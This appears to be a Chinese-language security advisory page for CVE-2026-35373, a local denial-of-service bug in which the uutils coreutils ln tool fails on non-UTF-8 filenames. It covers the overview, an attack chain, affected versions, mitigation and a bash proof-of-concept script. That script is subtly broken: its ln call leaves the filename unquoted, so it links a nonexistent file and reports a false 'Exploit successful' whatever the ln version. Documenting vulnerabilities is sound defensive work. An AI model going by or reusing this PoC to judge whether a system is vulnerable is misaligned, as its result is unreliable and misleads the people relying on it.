IPBUF安全漏洞报告
English
CVE-2026-35373 CVSS 3.3 低危

CVE-2026-35373 uutils coreutils拒绝服务漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-35373
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
uutils coreutils

相关标签

拒绝服务DoSuutilscoreutils逻辑错误本地攻击CVE-2026-35373

漏洞概述

uutils coreutils中的ln工具存在逻辑错误,当使用目标目录形式(如ln SOURCE... DIRECTORY)时,程序会拒绝包含非UTF-8文件名的源路径。与GNU ln将文件名视为原始字节并正确创建链接不同,uutils实现强制执行UTF-8编码,导致无法stat文件并返回非零退出码。在处理Unix文件系统上有效的非UTF-8文件名的自动化脚本或系统任务环境中,这种差异会导致工具失败,从而造成针对特定操作的本地拒绝服务。

技术细节

该漏洞的核心在于uutils coreutils对Unix文件系统中文件名编码的假设与实际情况不符。Unix文件系统允许文件名为任意字节序列,不强制要求UTF-8编码。然而,uutils的ln实现在处理'target-directory'模式时(即ln source... target_dir),在内部逻辑中错误地引入了UTF-8有效性检查。

当脚本或用户尝试链接包含非UTF-8字节(如0xFF)的文件时,程序在尝试获取文件状态(stat)前或过程中,会因为编码校验失败而抛出异常并退出。这不同于GNU ln的原始字节处理方式。攻击者若拥有本地低权限,可创建此类特殊文件名。一旦系统维护脚本(如日志轮转、备份任务)遍历并处理这些文件,ln命令将崩溃或报错退出,导致自动化任务中断,从而达成拒绝服务的目的。

攻击链分析

STEP 1
步骤1:准备恶意文件
攻击者利用本地低权限,在文件系统中创建包含非UTF-8字节序列(如0xFF)的文件名。
STEP 2
步骤2:触发自动化处理
等待或诱导系统管理员、自动化脚本(如备份服务)执行包含ln命令的操作,且该命令使用目标目录形式(ln SOURCE DIRECTORY)。
STEP 3
步骤3:逻辑错误触发
uutils的ln工具在处理该文件时,强制进行UTF-8校验失败,导致程序无法stat文件并返回错误退出。
STEP 4
步骤4:达成拒绝服务
依赖该ln操作的脚本或任务意外中断,导致系统维护功能失效,造成本地拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # PoC for CVE-2026-35373: uutils coreutils ln utility DoS # This script demonstrates creating a file with non-UTF-8 bytes # and attempting to use the uutils ln utility in target-directory mode. # Create a temporary directory for testing TEST_DIR=$(mktemp -d) cd "$TEST_DIR" # Create a file with a non-UTF-8 byte sequence (e.g., 0xFF 0xFE) # This is a valid filename on Unix/Linux but invalid UTF-8 touch $'file\xff\xfe.txt' echo "Created file with non-UTF-8 bytes: file\xff\xfe.txt" # Create a target directory for the link operation mkdir target_dir # Attempt to use ln in target-directory form (SOURCE... DIRECTORY) # In vulnerable uutils versions, this will fail with a non-zero exit code echo "Attempting: ln file\xff\xfe.txt target_dir/" ln file\xff\xfe.txt target_dir/ # Check exit code if [ $? -ne 0 ]; then echo "[+] Exploit successful: ln command failed (DoS triggered)" else echo "[-] Exploit failed: ln command succeeded (likely patched or GNU coreutils)" fi # Cleanup cd / rm -rf "$TEST_DIR"

影响范围

uutils coreutils (修复PR #11403之前的版本)

防御指南

临时缓解措施
建议立即检查系统中使用的coreutils版本,如果是uutils coreutils且受影响,应限制自动化脚本对未知文件名的处理,或暂时替换为GNU ln工具,直至应用官方补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表